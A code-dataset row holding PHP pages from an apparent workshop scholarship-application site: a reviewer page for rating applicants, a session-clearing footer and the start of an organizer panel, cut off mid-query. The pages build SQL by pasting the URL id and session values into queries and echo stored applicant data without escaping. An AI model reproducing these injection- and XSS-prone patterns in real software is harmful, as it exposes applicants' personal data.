branch_name
stringclasses
149 values
text
stringlengths
23
89.3M
directory_id
stringlengths
40
40
languages
listlengths
1
19
num_files
int64
1
11.8k
repo_language
stringclasses
38 values
repo_name
stringlengths
6
114
revision_id
stringlengths
40
40
snapshot_id
stringlengths
40
40
refs/heads/master
<file_sep>package com.yko.statistics.constants; import java.util.concurrent.locks.ReentrantLock; public final class TransactionConstants { public static final ReentrantLock LOCK = new ReentrantLock(); public static final int SECONDS_IN_MINUTE = 60; public static final int MILLIS_IN_SECOND = 1000; public static final int INTERVAL_AS_MIN = 1; private TransactionConstants() {} } <file_sep>package com.yko.statistics.controller; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.http.HttpStatus; import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.RestController; import com.yko.statistics.controller.response.StatisticsResponse; import com.yko.statistics.service.StatisticsService; @RestController public class StatisticsController { @Autowired private StatisticsService statisticsService; @RequestMapping(value = "/statistics", method = { RequestMethod.GET }) public ResponseEntity<StatisticsResponse> statistics() { StatisticsResponse response = statisticsService.calculateStatistics(); return new ResponseEntity<>(response, HttpStatus.OK); } } <file_sep>package com.yko.statistics.repository; import org.springframework.beans.factory.annotation.Value; import org.springframework.stereotype.Repository; import com.yko.statistics.constants.TransactionConstants; import com.yko.statistics.model.TransactionModel; import java.util.HashMap; import java.util.Map; @Repository public class TransactionRepository { private Map<Integer, TransactionModel> transactions = new HashMap<>(); TransactionRepository() { for (int i = 0; i < TransactionConstants.SECONDS_IN_MINUTE * TransactionConstants.INTERVAL_AS_MIN; i++) { transactions.put(i, new TransactionModel()); } } public TransactionModel findByKey(Integer key) { return transactions.get(key); } public void save(Integer key, TransactionModel transactionModel) { transactions.put(key, transactionModel); } public Map<Integer, TransactionModel> findAll() { return transactions; } } <file_sep>package com.yko.statistics.utils; import com.yko.statistics.constants.TransactionConstants; public final class TransactionUtils { private TransactionUtils() { } public static long convertMinuteToMillis(int minute) { return Long.valueOf(minute) * TransactionConstants.SECONDS_IN_MINUTE * TransactionConstants.MILLIS_IN_SECOND; } public static int findTransactionKeyAsSecondOfMinute(long timestamp) { return (int) ((timestamp / TransactionConstants.MILLIS_IN_SECOND) % TransactionConstants.SECONDS_IN_MINUTE); } public static boolean isDiffGreaterThan(long diff, int intervalAsMinute) { return diff > convertMinuteToMillis(intervalAsMinute); } public static boolean isDiffLessThanOrEquals(long diff, int intervalAsMinute) { return !isDiffGreaterThan(diff, intervalAsMinute); } public static long getDiffInMillis(long firstTimestamp, long secondTimestamp) { return firstTimestamp - secondTimestamp; } } <file_sep># statistics-api ### compile ``` mvn clean install ``` ### run with spring-boot plugin ``` mvn spring-boot:run ``` ### Transactions ###### Request ``` curl -i -H "Content-Type: application/json" -X POST \ -d '{ "amount": 2, "timestamp": 1544123655060 }' \ http://localhost:8080/transactions ``` ###### Response If timestamp is older than the interval, response http status code will be 204; otherwise 201. ### Statistics ###### Request ``` curl -i -H "Content-Type: application/json" -X GET http://localhost:8080/statistics ``` ###### Response ``` HTTP/1.1 200 Content-Type: application/json;charset=UTF-8 Transfer-Encoding: chunked Date: Thu, 06 Dec 2018 20:11:57 GMT {"sum":0.0,"avg":0.0,"max":0.0,"min":0.0,"count":0} ```
123168fdcfe9515d237c497d443071700d15e18c
[ "Markdown", "Java" ]
5
Java
yfklon/statistics-api
84d9ab0b34eb7e88a5c257f740179fce55bf4e92
40d2e6ca9cb263cfb7993df63d16c302e2968bf8
refs/heads/master
<file_sep>import math from graphviz import Digraph class Node: def __init__(self, id, value, low, high): self.id = id self.value = value self.high = high self.low = low self.state1 = 1 # corresponds to sign of the low field in original algorithm R self.state2 = 1 # corresponds to sign of the aux field in original algorithm R self.aux = 0 class BDD: def __init__(self, truthTable): self.nVariables = math.log(len(truthTable), 2) assert(self.nVariables % 1.0 == 0.0) self.nVariables = int(self.nVariables) I0 = Node(0, self.nVariables+1, 0, 0) I1 = Node(1, self.nVariables+1, 1, 1) v = self.nVariables # start from the last variable self.nodeList = [I0, I1] id = 2 for i in range(pow(2, v-1)): newNode = Node(id, v, self.nodeList[int(truthTable[2*i])], self.nodeList[int(truthTable[2*i+1])]) self.nodeList.append(newNode) id += 1 startingID = 2 for v in range(self.nVariables-1, 0, -1): # e.g. number of variables is 3, [2, 1] for i in range(pow(2, v-1)): newNode = Node(id, v, self.nodeList[startingID+2*i], self.nodeList[startingID+2*i+1]) self.nodeList.append(newNode) id += 1 startingID += pow(2, v) self.root = self.nodeList[-1] def plotBDD(self, fileName, view=True): dot = Digraph(comment='Binary Decision Diagram') p = self.root if p.id <= 1: dot.node(str(p.id), str(p.id), shape='box', style='filled', color=".7 .3 1.0") dot.render(fileName, view=view) return # plot the two basic nodes, 1 and 0 for i in range(2): n = self.nodeList[i] dot.node(str(n.id), str(n.id), shape='box', style='filled', color=".7 .3 1.0") h = set() self.plotHelper(p, dot, h) dot.render(fileName, view=view) def plotHelper(self, root, dot, h): if root.id <= 1: # this is the two base nodes return if root.id not in h: dot.node(str(root.id), str(root.value), shape='circle') dot.edge(str(root.id), str(root.low.id), label='0', style='dashed') dot.edge(str(root.id), str(root.high.id), label='1') h.add(root.id) self.plotHelper(root.low, dot, h) self.plotHelper(root.high, dot, h) <file_sep>def algorithmC(nodes): # algorithm C on page 5. input is a sequence of BDD nodes. # output is the number of binary vector that makes the function true # and the number of 1s in each beads. k = len(nodes) c = [0] * k if k == 1: c[0] = nodes[0].id return pow(2, nodes[-1].value - 1) * c[-1], [pow(2, nodes[-1].value - 1) * c[-1]] c[0] = 0 c[1] = 1 for ki in range(2, k): # step 1 node = nodes[ki] # change id to be the correct order in the list, so that I can easily track the nodes. node.id = ki node_low = node.low node_high = node.high cl = c[node_low.id] ch = c[node_high.id] # step 2 c[ki] = pow(2, (node_low.value - node.value - 1)) * cl + \ pow(2, (node_high.value - node.value - 1)) * ch return pow(2, nodes[-1].value - 1) * c[-1], c <file_sep># the BDD node class class node: def __init__(self, v: int, i: int, ll: int, h: int) -> None: self.v = v # the variable its concerning about self.index = i # its index in the sequence self.low = ll # index of the low node self.high = h # index of the high node def printBDD(self): print("The variable is ", self.v) print("The index is ", self.index) print("The low node is ", self.low) print("The high node is ", self.high) <file_sep># BDD Binary Decision Diagram related data structures and algorithms <file_sep>from algorithmR import * if __name__ == "__main__": truthTable = [False, False, False, True, False, True, True, True] bdd = BDD(truthTable) bdd.plotBDD('test-output.gv') algorithmR(bdd) bdd.plotBDD('test-output-reduced.gv') <file_sep># this algorithm generate the BDDs of all 256 Boolean functions of three variables from algorithmR import * from testC import dfs from algorithmC import * # list all possible truth tables of three variables def permutation(truthTable): if len(truthTable) == 8: bdd = BDD(truthTable) algorithmR(bdd) fileName = "" for i in range(8): fileName += str(int(truthTable[i])) bdd.plotBDD('256/'+fileName+'.gv', view=False) # test algorithm C at the same time. nodes = [] dfs(bdd.root, nodes, bdd.nVariables) c, cs = algorithmC(nodes) print("The number of vectors that makes f(x) 1 is ", c) print("The number of 1s in each node is ", cs) return permutation(truthTable + [False]) permutation(truthTable + [True]) if __name__ == "__main__": permutation([]) <file_sep>from BDDnode import * from algorithmR import * from algorithmC import * def dfs(root, nodes, N): # N is the number of variables in the BDD function if root.value == N+1: if root not in nodes: nodes.append(root) return dfs(root.low, nodes, N) dfs(root.high, nodes, N) nodes.append(root) if __name__ == "__main__": # define a BDD node sequence. truthTable = [False, False, False, True, False, True, True, True] # truthTable = [False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False] truthTable = [True, True, True, True, True, True, True, True, True, True, True, True, True, True, True, True] # truthTable = [False, True, False, True, False, True, True, True] bdd = BDD(truthTable) algorithmR(bdd) nodes = [] dfs(bdd.root, nodes, bdd.nVariables) # put all the valid nodes in a list. c, cs = algorithmC(nodes) print("The number of vectors that makes f(x) 1 is ", c) print("The number of 1s in each node is ", cs) <file_sep>from BDDnode import * def algorithmR(bdd): # given a bdd that is not reduced, reduce its unnecessary nodes. # implemented using Algorithm R in The Art of Computer Programming # initialization avail = 1 # keeps a list of node that should be deleted. root = bdd.nodeList[-1] if root.id <= 1: print("The BDD only has one node, always 0 or always 1") return zero = bdd.nodeList[0] one = bdd.nodeList[1] zero.state2 = -1 one.state2 = -1 root.state2 = -1 head = [-1] * (bdd.nVariables + 1) # variables counts start from 1 # R1: dfs to mark all state2 of all nodes reachable from root negative # and link all node that have the same value together begin with head. def R1(s): if s == 0: return p = s s = 0 p.aux = head[p.value] head[p.value] = p if p.low.state2 >= 0: p.low.state2 = -1 s = p.low R1(s) if p.high.state2 >= 0: p.high.state2 = -1 s = p.high R1(s) R1(root) # R2 loop over all the values zero.state2 = 0 one.state2 = 0 for v in range(bdd.nVariables, 0, -1): p = head[v] s = 0 # R3 check redundancy in each layer. remove nodes that # have the same low and high nodes # In the original algorithm, the two otherwise case in R3 is # used to link all the node that are not # deleted with together, by going through the aux of the node's # low field, if two node adjacent have # the same low field, then they are link together directly, if not, # they are linked through one node's own # aux field point the other node's low field, and the other nodes # low field points to the other node itself. # the two cases use different signs in the aux field, thus R4 can # tell which case it is when cleaning it up # Also in this way, the nodes are bucket sorted by their low field. # Nodes with the same low field are linked # together before going to the next different low field. while p != -1: # go over all the nodes that have the same value (on the same layer) pPrime = p.aux q = p.high # q is deleted, q's low field points to the corresponding node not deleted. if q.state1 < 0: p.high = q.low q = p.low if q.state1 < 0: p.low = q.low q = p.low # set q to be the current p low field # low field and high field points to the same node, # the current node should be deleted if q == p.high: p.state1 = -1 # mark as -1 if the node should be deleted p.high = avail p.aux = 0 # this node has been processed p.state2 = 1 avail = p # add p to the list of nodes that should be deleted. elif q.state2 >= 0: # nodes with different low field are linked p.aux = s if p.aux == 0: # mark the end of the linked nodes. p.state2 = 0 else: p.state2 = -1 s = q q.state2 = -1 q.aux = p else: # nodes with the same low field are linked p.aux = q.aux.aux p.state2 = q.aux.state2 q.aux.aux = p q.aux.state2 = 1 p = pPrime # R4 clean up, this links the different bucket directly together. r = s rSign = 0 s = 0 while rSign >= 0 and r != 0: q = r.aux # go to the next bucket. r.state2 = 0 r.aux = 0 if s == 0: # set s if s hasn't been set. s = q else: p.aux = q # link to next bucket from previous bucket. p.state2 = 0 p = q # nodes in the same bucket, they are already linked. while p.state2 > 0 and p.aux != 0: p = p.aux if p.aux == 0: rSign = -1 r = p.aux # after R4 all nodes remaining are link through their aux field, # staring with s point to the first node. # R5, loop on the remaining list if s == 0: # there are no nodes left in the current layer. continue # R6 & R7 & R8 remove nodes that has the same low and high p = s q = p while p != 0: # loop on each p s = p.low # R7: this loop only continues if low are the same, # if low is not the same, go the next bucket. this # works because in R3, the nodes are already bucket sorted. while q != 0 and q.low == s: r = q.high # if sees a new high field, mark its aux field as negative if r.state2 >= 0: r.state2 = -1 r.aux = q else: # aux field is negative, it has been seen before, # then the current node is the same as one # node before it, remove it. q.low = r.aux q.state1 = -1 q.high = avail avail = q q = q.aux while p != q: # R8 mark all aux field as 0 if p.state1 >= 0: p.high.aux = 0 p.high.state2 = 1 p = p.aux # R9 if root.state1 < 0: # root has been deleted root = root.low bdd.root = root
ba89574ad4fecf3e52790f65f16b6103bc57953a
[ "Markdown", "Python" ]
8
Python
SLrepo/BDD
b0049fea1d22a6d237f05b1e8a7557d59c96a1cd
c92e71e17aaa14f2c47c64ac6a11f10d9a45b0a0
refs/heads/master
<file_sep><?php session_start(); header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); header("Cache-Control: no-store, no-cache, must-revalidate"); header("Cache-Control: post-check=0, pre-check=0", false); header("Pragma: no-cache"); include("includes/constants.php"); $cur_time = time(); if($_SESSION["loggedAs"] == "") { header("Location: login.php"); } if($_SESSION["userType"] != "Reviewer") { header("Location: index.php"); } if($_SESSION["passReset"] == 1) { header("Location: userChangePassword.php"); } if($_SESSION["loggedAs"] != "" && $cur_time > $_SESSION["timeout"]) { //destroy the session (reset) session_destroy(); header("Location: login.php"); } else { //set new time $_SESSION["last_page"] = ""; $_SESSION["timeout"] = time() + $TIME_OUT; } $appId = $_GET["id"]; ?> <!DOCTYPE html> <html> <head profile="http://gmpg.org/xfn/11"> <title>Broadening Participation in Data Mining - Applicant Review</title> <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"/> <meta name="description" content=""/> <meta name="keywords" content=""/> <link rel="stylesheet" href="css/main.css" type="text/css" /> <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script> <script src="js/jquery.js" type="text/javascript"></script> <script src="js/main.js" type="text/javascript"></script> <script src="js/twitterFeed.js" type="text/javascript"></script> <script type="text/javascript"> function siteLoaded() { $.ajax({type:"GET",url:"content/sponsors.html",dataType:"html",cache:false,success:function(data){data = replaceData(data);$("#sponsors-content").html(data);}}); $.ajax({type:"GET",url:"content/scholarship-applications.html",dataType:"html",cache:false,success:function(data){data = replaceData(data);$("#scholarship-content").html(data);}}); getRss("#rss-edit"); getRss("#rss-delete"); } </script> </head> <body onload="siteLoaded()"> <?php include("includes/header.php");?> <article> <div id="screen-content"> <?php if($appId == "") { include("includes/openConn.php"); $sql = "SELECT ApplicationID, Rating FROM ReviewerApplication WHERE Email='".$_SESSION["loggedAs"]."';"; $result = mysql_query($sql); // send the sql request if(empty($result)) // if the result is empty { $num_results = 0; // set the number of results as zero } // end of if else { $num_results = mysql_num_rows($result); // set the number of results } // end of else if($num_results != 0) // if the number of results is greater than zero { $idNumber = array(); // create an array of id numbers for($i=0; $i < $num_results; $i++) { $row = mysql_fetch_array($result); // get the data from the row $idNumber[$i][0] = $row["ApplicationID"]; // add the row numbers to an array $idNumber[$i][1] = $row["Rating"]; } // end of for ?> <h1>Review Applications</h1> <div class="application-header"> <div class="heading"><a style="color:#fff;">Email Address</a></div> <div class="heading"><a style="color:#fff;">First Name</a></div> <div class="heading"><a style="color:#fff;">Last Name</a></div> <div class="heading"><a style="color:#fff;">Submission Date</a></div> <div class="heading"><a style="color:#fff;">Review Status</a></div> </div> <?php } else { ?> <h2>You have no applications assigned to you at this time.</h2> <?php } for($i=0; $i<count($idNumber); $i++) { $sql = "SELECT Email, FirstName, LastName, SubmissionDate FROM Application WHERE ApplicationID = '".$idNumber[$i][0]."'"; $result = mysql_query($sql); // send the sql request if(empty($result)) // if the result is empty { $num_results = 0; // set the number of results as zero } // end of if else { $num_results = mysql_num_rows($result); // set the number of results } // end of else if($num_results != 0) { $row = mysql_fetch_array($result); // get the data from the row ?> <a style="color:#000;text-decoration:none;" class="application" href="review.php?id=<?php echo($idNumber[$i][0]);?>"> <div class="application-item"> <div class="heading"><?php echo($row["Email"]); ?></div> <div class="heading"><?php echo($row["FirstName"]); ?></div> <div class="heading"><?php echo($row["LastName"]); ?></div> <div class="heading"><?php echo($row["SubmissionDate"]); ?></div> <?php if($idNumber[$i][1] == 999) { echo("<div style=\"color:#f00;font-weight:bold;\" class=\"heading\">Pending</div>"); } else { echo("<div style=\"color:#090;font-weight:bold;\" class=\"heading\">Completed</div>"); } ?> </div> </a> <?php } } include("includes/closeConn.php"); } else { include("includes/openConn.php"); $sql = "SELECT ApplicationID, Rating, ReviewJustification FROM ReviewerApplication WHERE Email='".$_SESSION["loggedAs"]."' AND ApplicationID='".$appId."';"; $result = mysql_query($sql); // send the sql request if(empty($result)) // if the result is empty { $num_results = 0; // set the number of results as zero } // end of if else { $num_results = mysql_num_rows($result); // set the number of results } // end of else if($num_results != 0) { $row = mysql_fetch_array($result); if($row["Rating"] != 999) { $_SESSION["rating"] = $row["Rating"]; $_SESSION["justification"] = $row["ReviewJustification"]; } $sql = "SELECT Email, FirstName, LastName, Address1, Address2, City, State, Zipcode, Country, Phone, Citizenship, Nationality, Gender, Race, Ethnicity, UnderRepresentedGroup, Organization, Department, CurrentDegree, HighestDegree, AreaOfInterest, FullTimeStudent, FacebookName, LinkedInName, TwitterName, PreviousBPDMAttend, PreviousACMSIGKDDAttend, ACMSIGKDDAttendYear, ACMSIGKDDApplication, OtherWorkshops, DietaryRestrictions, SmokingPreference, Local, HotelRequests, FlightArrival, HotelArrival, FlightDeparture, HotelDeparture, Volunteer, LearnAboutBPDM, FundingNeed, Motivation, Interests, Aspirations FROM Application WHERE ApplicationID='".$appId."';"; $result = mysql_query($sql); // get the sql request if(empty($result)) { $num_results = 0; } else { $num_results = mysql_num_rows($result); } if($num_results != 0) { $row = mysql_fetch_array($result); } ?> <h1>Review Application</h1> <?php echo($_SESSION["error"]); ?> <div class="application-data"> <div class="item"><div class="heading">Applicant Name:</div><div class="data"><?php echo($row["FirstName"]." ".$row["LastName"]);?></div></div> <div class="item"><div class="heading">Email:</div><div class="data"><?php echo($row["Email"]);?></div></div> <div class="item"><div class="heading">Address 1:</div><div class="data"><?php echo($row["Address1"]);?></div></div> <div class="item"><div class="heading">Address 2:</div><div class="data"><?php echo($row["Address2"]);?></div></div> <div class="item"><div class="heading">City:</div><div class="data"><?php echo($row["City"]);?></div></div> <div class="item"><div class="heading">State:</div><div class="data"><?php echo($row["State"]);?></div></div> <div class="item"><div class="heading">Zipcode:</div><div class="data"><?php echo($row["Zipcode"]);?></div></div> <div class="item"><div class="heading">Country:</div><div class="data"><?php echo($row["Country"]);?></div></div> <div class="item"><div class="heading">Phone:</div><div class="data"><?php echo($row["Phone"]);?></div></div> <div class="item"><div class="heading">Citizenship Status:</div><div class="data"><?php echo($row["Citizenship"]);?></div></div> <div class="item"><div class="heading">Nationality:</div><div class="data"><?php echo($row["Nationality"]);?></div></div> <div class="item"><div class="heading">Gender:</div><div class="data"><?php echo($row["Gender"]);?></div></div> <div class="item"><div class="heading">Racial Identity:</div><div class="data"><?php echo($row["Race"]);?></div></div> <div class="item"><div class="heading">Ethnicity Identity:</div><div class="data"><?php echo($row["Ethnicity"]);?></div></div> <div class="item"><div class="heading">Which, if any, under-represented group(s) are you part of?</div><div class="data"><?php echo($row["UnderRepresentedGroup"]);?></div><br style="clear:both;" /></div> <div class="item"><div class="heading">Institution / Organization:</div><div class="data"><?php echo($row["Organization"]);?></div></div> <div class="item"><div class="heading">Department:</div><div class="data"><?php echo($row["Department"]);?></div></div> <div class="item"><div class="heading">Current Degree Program:</div><div class="data"><?php echo($row["CurrentDegree"]);?></div></div> <div class="item"><div class="heading">Highest Degree Attained:</div><div class="data"><?php echo($row["HighestDegree"]);?></div></div> <div class="item"><div class="heading">Research Area(s) of Interest:</div><div class="data"><?php echo($row["AreaOfInterest"]);?></div></div> <div class="item"><div class="heading">Are you a full-time student?:</div><div class="data"><?php echo($row["FullTimeStudent"]);?></div></div> <div class="item"><div class="heading">Facebook Name:</div><div class="data"><?php echo($row["FacebookName"]);?></div></div> <div class="item"><div class="heading">LinkedIn Name:</div><div class="data"><?php echo($row["LinkedInName"]);?></div></div> <div class="item"><div class="heading">Twitter Name:</div><div class="data"><?php echo($row["TwitterName"]);?></div></div> <div class="item"><div class="heading">Did you attend Broadening Participation in Data Mining Program last year?</div><div class="data"><?php echo($row["PreviousBPDMAttend"]);?></div><br style="clear:both;" /></div> <div class="item"><div class="heading">Have you attended ACM SIGKDD before?</div><div class="data"><?php echo($row["PreviousACMSIGKDDAttend"]);?></div><br style="clear:both;" /></div> <div class="item"><div class="heading">If so, which year(s)?</div><div class="data"><?php echo($row["ACMSIGKDDAttendYear"]);?></div></div> <div class="item"><div class="heading">If you have submitted to ACM SIGKDD 2013, please provide the submission type and title:</div><div class="data"><?php echo($row["ACMSIGKDDApplication"]);?></div><br style="clear:both;" /></div> <div class="item"><div class="heading">Have you ever attended any other workshops where the focus was in broadening participation of underrepresented groups? If so, provide titles and years.</div><div class="data"><?php echo($row["OtherWorkshops"]);?></div><br style="clear:both;" /></div> <div class="item"><div class="heading">Do you have any dietary restrictions?</div><div class="data"><?php echo($row["DietaryRestrictions"]);?></div></div> <div class="item"><div class="heading">Smoking preference:</div><div class="data"><?php echo($row["SmokingPreference"]);?></div></div> <div class="item"><div class="heading">I am a local participant and do not need hotel accommodations:</div><div class="data"><?php echo($row["Local"]);?></div><br style="clear:both;" /></div> <div class="item"><div class="heading">Briefly describe any special hotel requests, if any.</div><div class="data"><?php echo($row["HotelRequests"]);?></div><br style="clear:both;" /></div> <div class="item"><div class="heading">Flight Arrival date:</div><div class="data"><?php echo($row["FlightArrival"]);?></div></div> <div class="item"><div class="heading">Hotel Arrival date:</div><div class="data"><?php echo($row["HotelArrival"]);?></div></div> <div class="item"><div class="heading">Flight Departure date:</div><div class="data"><?php echo($row["FlightDeparture"]);?></div></div> <div class="item"><div class="heading">Hotel Departure date:</div><div class="data"><?php echo($row["HotelDeparture"]);?></div></div> <div class="item"><div class="heading">Would you also consider volunteering during part of the conference?</div><div class="data"><?php echo($row["Volunteer"]);?></div><br style="clear:both;" /></div> <div class="item"><div class="heading">How did you learn about the Broadening Participation in Data Mining Program?</div><div class="data"><?php echo($row["LearnAboutBPDM"]);?></div><br style="clear:both;" /></div> <div class="item"><div class="heading">Why do you need the funding?</div><div class="data"><?php echo($row["FundingNeed"]);?></div></div> <div class="item"><div class="heading">Describe your motivation for attending Broadening Participation in Data Mining.</div><div class="data"><?php echo($row["Motivation"]);?></div><br style="clear:both;" /></div> <div class="item"><div class="heading">Briefly describe your areas of academic and professional interest.</div><div class="data"><?php echo($row["Interests"]);?></div><br style="clear:both;" /></div> <div class="item" style="border-bottom:none;"><div class="heading">What are your professional aspirations over the next five years?</div><div class="data"><?php echo($row["Aspirations"]);?></div><br style="clear:both;" /></div> </div> <h2>Review This Application</h2> <form id="form0" class="application" action="passThru/rateApplication.php" method="post"> <fieldset style=""> <input id="application" name="application" value="<?php echo($appId); ?>" type="hidden" /> <label for="rating"><b>* </b>Rate This Application:<br /><br /> <div> <input type="radio" name="rating" value="3" <?php if($_SESSION["rating"] == "3"){echo("checked=\"checked\"");}?>>Strong Accept<br /> <input type="radio" name="rating" value="2" <?php if($_SESSION["rating"] == "2"){echo("checked=\"checked\"");}?>>Accept<br /> <input type="radio" name="rating" value="1" <?php if($_SESSION["rating"] == "1"){echo("checked=\"checked\"");}?>>Weak Accept<br /> <input type="radio" name="rating" value="0" <?php if($_SESSION["rating"] == "0" || $_SESSION["rating"] == ""){echo("checked=\"checked\"");}?>>No Opinion<br /> <input type="radio" name="rating" value="-1" <?php if($_SESSION["rating"] == "-1"){echo("checked=\"checked\"");}?>>Weak Reject<br /> <input type="radio" name="rating" value="-2" <?php if($_SESSION["rating"] == "-2"){echo("checked=\"checked\"");}?>>Reject<br /> <input type="radio" name="rating" value="-3" <?php if($_SESSION["rating"] == "-3"){echo("checked=\"checked\"");}?>>Strong Reject<br /> </div><br /><br /> <label for="justification"><b>* </b>Please provide a detailed review, including justification for your score. Explain why the applicant is/is not fit for BPDM 2013<br /><br /><textarea id="justification" name="justification" style=""><?php echo($_SESSION["justification"]);?></textarea></label><br /><br /> <input id="submit" name="submit" type="submit" style="width:150px;" value="Submit Review" /> </fieldset> </form> <?php } else { echo("You Don't Have Access To This Application"); } include("includes/closeConn.php"); } ?> </div> <aside> <?php include("includes/aside.php");?> </aside> <br style="clear:both" /> </article> <?php include("includes/footer-nav.php"); ?> <?php include("includes/footer.php"); ?> <script src="https://api.twitter.com/1/statuses/user_timeline.json?screen_name=BPDMProgram&include_rts=true&callback=twitterCallback2&count=5"></script> </body> </html><file_sep><footer> <div class="legal"> <p>Copyright (c)2013 Broadening Participation in Data Mining - BPDM 2013</p> <p>Created by <a href="http://jamesjjonescgpro.com" target="_blank"><NAME></a></p> </div> <div class="admin"> <?php if($_SESSION["loggedAs"] == "") { echo("<a href=\"login.php\">Administrative Login</a>"); } ?> </div> </footer> <?php include("includes/cleanUp.php"); $_SESSION["error"] = ""; $_SESSION["passerror"] = ""; $_SESSION["rsserror"] = ""; $_SESSION["rssediterror"] = ""; $_SESSION["rssdeleteerror"] = ""; $_SESSION["loginCan"] = ""; $_SESSION["fnameCan"] = ""; $_SESSION["lnameCan"] = ""; $_SESSION["emailCan"] = ""; $_SESSION["isReviewer"] = ""; $_SESSION["errorNewAdmin"] = ""; $_SESSION["adminDeleteError"] = ""; $_SESSION["titleCan"] = ""; $_SESSION["descCan"] = ""; $_SESSION["linkCan"] = ""; $_SESSION["fName"] = ""; $_SESSION["lName"] = ""; $_SESSION["add1"] = ""; $_SESSION["add2"] = ""; $_SESSION["city"] = ""; $_SESSION["state"] = ""; $_SESSION["zip"] = ""; $_SESSION["country"] = ""; $_SESSION["phone"] = ""; $_SESSION["citizenship"] = ""; $_SESSION["nationality"] = ""; $_SESSION["gender"] = ""; $_SESSION["race"] = ""; $_SESSION["ethnicity"] = ""; $_SESSION["underrepresentedGroup"] = ""; $_SESSION["org"] = ""; $_SESSION["dept"] = ""; $_SESSION["currDegree"] = ""; $_SESSION["highestDegree"] = ""; $_SESSION["areaOfInterest"] = ""; $_SESSION["fullTimeStudent"] = ""; $_SESSION["facebookName"] = ""; $_SESSION["linkedInName"] = ""; $_SESSION["twitterName"] = ""; $_SESSION["previousBPDMAttend"] = ""; $_SESSION["previousACMSIGKDDAttend"] = ""; $_SESSION["ACMSIGKDDAttendYear"] = ""; $_SESSION["ACMSIGKDDApplication"] = ""; $_SESSION["otherWorkshops"] = ""; $_SESSION["dietaryRestrictions"] = ""; $_SESSION["smokingPreference"] = ""; $_SESSION["isLocal"] = ""; $_SESSION["hotelRequests"] = ""; $_SESSION["flightArrival"] = ""; $_SESSION["hotelArrival"] = ""; $_SESSION["flightDeparture"] = ""; $_SESSION["hotelDeparture"] = ""; $_SESSION["volunteer"] = ""; $_SESSION["learnAboutBPDM"] = ""; $_SESSION["fundingNeed"] = ""; $_SESSION["motivation"] = ""; $_SESSION["interests"] = ""; $_SESSION["aspirations"] = ""; $_SESSION["rating"] = ""; $_SESSION["justification"] = ""; $_SESSION["reviewer"] = ""; $_SESSION["isReviewer"] = ""; ?><file_sep><?php session_start(); header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); header("Cache-Control: no-store, no-cache, must-revalidate"); header("Cache-Control: post-check=0, pre-check=0", false); header("Pragma: no-cache"); include("includes/constants.php"); $cur_time = time(); if($_SESSION["loggedAs"] == "") { header("Location: login.php"); } if($_SESSION["adminType"] != "Super") { header("Location: index.php"); } if($_SESSION["loggedAs"] != "" && $cur_time > $_SESSION["timeout"]) { //destroy the session (reset) session_destroy(); header("Location: login.php"); } else { //set new time $_SESSION["last_page"] = ""; $_SESSION["timeout"] = time() + $TIME_OUT; } $appId = $_GET["id"]; include("includes/openConn.php"); ?> <!DOCTYPE html> <html> <head profile="http://gmpg.org/xfn/11"> <title>Broadening Participation in Data Mining - Administrative Site</title> <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"/> <meta name="description" content=""/> <meta name="keywords" content=""/> <link rel="stylesheet" href="css/main.css" type="text/css" /> <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script> <script src="js/jquery.js" type="text/javascript"></script> <script src="js/main.js" type="text/javascript"></script> <script src="js/twitterFeed.js" type="text/javascript"></script> <script type="text/javascript"> function siteLoaded() { $.ajax({type:"GET",url:"content/sponsors.html",dataType:"html",cache:false,success:function(data){data = replaceData(data);$("#sponsors-content").html(data);}}); $.ajax({type:"GET",url:"content/scholarship-applications.html",dataType:"html",cache:false,success:function(data){data = replaceData(data);$("#scholarship-content").html(data);}}); getRss("#rss-edit"); getRss("#rss-delete"); } </script> </head> <body onload="siteLoaded()"> <?php include("includes/header.php");?> <article> <div id="screen-content"> <h1>Organizer Panel</h1> <?php if($appId == "") { $sql = "SELECT ApplicationID, Email, FirstName, LastName, SubmissionDate, AverageRating FROM Application"; $result = mysql_query($sql); // send the sql request if(empty($result)) // if the result is empty { $num_results = 0; // set the number of results as zero } // end of if else { $num_results = mysql_num_rows($result); // set the number of results } // end of else if($num_results == 0) { echo("<h2>There are currently no applications.</h2>"); } else { ?> <h1>Review Applications</h1> <div class="application-header-org"> <div class="heading"><a style="color:#fff;">Email Address</a></div> <div class="heading"><a style="color:#fff;">First Name</a></div> <div class="heading"><a style="color:#fff;">Last Name</a></div> <div class="heading"><a style="color:#fff;">Submission Date</a></div> <div class="heading"><a style="color:#fff;">Average Review</a></div> <div class="heading" style="font-weight:bold;color:#fff;">Review Status</div> </div> <?php for($i=0; $i<$num_results; $i++) { $sql = "SELECT Rating FROM ReviewerApplication WHERE ApplicationID='".$i."';"; $ratingResult = mysql_query($sql); if(empty($ratingResult)) // if the result is empty { $num_ratingResult = 0; // set the number of results as zero } // end of if else { $num_ratingResult = mysql_num_rows($ratingResult); // set the number of results } // end of else $ratingPending = "<div style=\"color:#f00;font-weight:bold;\" class=\"heading\">Pending</div>"; if($num_ratingResult != 0) { $ratingNum = 0; for($k=0; $k<$num_ratingResult; $k++) { $rating = mysql_fetch_array($ratingResult); if($rating["Rating"] != 999) { $ratingNum++; } } if($ratingNum >= 3) { $ratingPending = "<div style=\"color:#090;font-weight:bold;\" class=\"heading\">Completed</div>"; } } $row = mysql_fetch_array($result); // get the data from the row ?> <a style="color:#000;text-decoration:none;" class="application" href="organizer.php?id=<?php echo($row["ApplicationID"]);?>"> <div class="application-item-org"> <div class="heading"><?php echo($row["Email"]); ?></div> <div class="heading"><?php echo($row["FirstName"]); ?></div> <div class="heading"><?php echo($row["LastName"]); ?></div> <div class="heading"><?php echo($row["SubmissionDate"]); ?></div> <div class="heading"><?php echo(getRatingText($row["AverageRating"])); ?></div> <?php echo($ratingPending); ?> </div> </a> <?php } } } else { $sql = "SELECT Email, FirstName, LastName, Address1, Address2, City, State, Zipcode, Country, Phone, Citizenship, Nationality, Gender, Race, Ethnicity, UnderRepresentedGroup, Organization, Department, CurrentDegree, HighestDegree, AreaOfInterest, FullTimeStudent, FacebookName, 